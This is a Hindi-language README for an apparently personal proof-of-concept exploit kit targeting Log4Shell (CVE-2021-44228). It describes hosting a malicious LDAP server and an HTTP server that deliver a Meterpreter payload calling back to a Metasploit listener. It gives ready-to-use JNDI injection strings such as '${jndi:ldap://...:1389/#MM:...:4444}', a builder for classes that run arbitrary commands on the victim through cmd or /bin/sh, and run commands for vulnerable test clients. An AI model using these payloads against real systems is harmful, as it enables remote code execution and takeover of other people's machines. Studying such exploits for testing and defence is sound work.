
Log4Shell (Cve-2021-44228) प्रूफ ऑफ कॉन्सेप्ट
Log4Shell (Cve-2021-44228) प्रूफ ऑफ कॉन्सेप्ट
यह एक व्यक्तिगत प्रोजेक्ट है जो एक सरल POC चलाता है जो Log4Shell एक्सप्लॉइट के लिए एक LDAP सर्वर और एक HTTP सर्वर होस्ट करेगा।
run_servers.py एक सरलीकृत meterpreter क्लाइंट सेटअप करेगा जो ldap अनुरोध में पारित Metasploit इंस्टेंस को वापस कॉल करेगा। यह meterpreter इंस्टेंस को उस मूल प्रक्रिया में एक थ्रेड के रूप में चलाएगा जो Log4Shell एक्सप्लॉइट से प्रभावित थी।
LDAP सर्वर Java में लिखा गया है और HTTP सर्वर python में होस्ट किया गया है तथा यह नई बनाई गई wwwroot डायरेक्टरी से सर्व करेगा। इसके लिए एक्सप्लॉइट्स बनाने और LDAP सर्वर होस्ट करने हेतु java, javac और mvn की आवश्यकता होती है। मैंने Java 8 का उपयोग किया।
Python3 की भी आवश्यकता है।
चलाएँ: python3 run_servers.py <your_ip_address> <the_http_port> [ldap_port]
फिर jndi स्ट्रिंग को लॉग करने के लिए एक असुरक्षित क्लाइंट को पास करें, अर्थात: यदि आपका होस्ट 10.20.30.40 था और आपका metasploit इंस्टेंस 20.30.40.50 था जो पोर्ट 4444 पर सुन रहा था, तो यह इस प्रकार दिखेगा: '${jndi:ldap://10.20.30.40:1389/#MM:20.30.40.50:4444}'
आप ऐसी क्लासेस बना सकते हैं जो स्रोत सिस्टम पर एक्ज़ीक्यूटेबल लॉन्च करेंगी।
आप विंडोज़ या लिनक्स आधारित सिस्टम के लिए अलग-अलग कमांड्स रख सकते हैं। उदाहरण के लिए, TestCmd नामक एक क्लास बनाने के लिए जो विंडोज़ सिस्टम पर कैलकुलेटर और लिनक्स सिस्टम पर Firefox लॉन्च करेगी, चलाएँ : python3 build_cmd.py TestCmd -w "Calc.exe" -l "firefox"
आप कई पहले से निर्मित क्लासेस रख सकते हैं। यदि आप लक्षित OS के लिए कोई कमांड निर्दिष्ट नहीं करते हैं, तो कुछ भी निष्पादित नहीं होता है। ध्यान दें कि ये कमांड विंडोज़ पर CMD \c "your command" के रूप में और लिनक्स पर /bin/sh -c "your command" के रूप में चलाए जाते हैं।
उपरोक्त कमांड को ट्रिगर करने के लिए, आपके द्वारा बनाई गई क्लास का नाम उपयोग करें, अर्थात : '${jndi:ldap://10.20.30.40:1389/#TestCmd'
Payload.java फ़ाइल पूर्ण Meterpreter फ़ाइल है जो उस कॉलिंग प्रक्रिया में एक थ्रेड के रूप में चलने के लिए सेटअप की गई है जिसमें log4shell समस्या थी। इसे मैन्युअल रूप से कंपाइल करके wwwroot डायरेक्टरी में ले जाना होता है। इसके अतिरिक्त, आपको आवश्यक गुणों के साथ metasploit.dat फ़ाइल सेटअप करनी होगी।
क्लाइंट्स डायरेक्टरी में 2 क्लाइंट हैं जिन्हें निष्पादित किया जा सकता है। एक सरल कमांड लाइन प्रोग्राम है जो 1st पैरामीटर के रूप में पारित किसी भी चीज़ के लिए एक एरर लॉग लिखेगा।
दूसरा एक बेसिक वेब सर्वर है जो log_me हेडर जानकारी का उपयोग करके एक एरर लॉग लिखेगा। ध्यान दें कि इसे एक अलग नियंत्रित वातावरण में चलाया जाना चाहिए।
क्लाइंट्स डायरेक्टरी में जाएँ और ./build_clients.sh चलाएँ
क्लाइंट्स डायरेक्टरी से चलाएँ : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jWebServer [Port_number]
क्लाइंट्स डायरेक्टरी से चलाएँ : java -cp target/l4sclients-1.0-SNAPSHOT-all.jar Log4jCmdLine '${jndi:ldap://127.0.0.1:1389/#MM:127.0.0.1:4444}'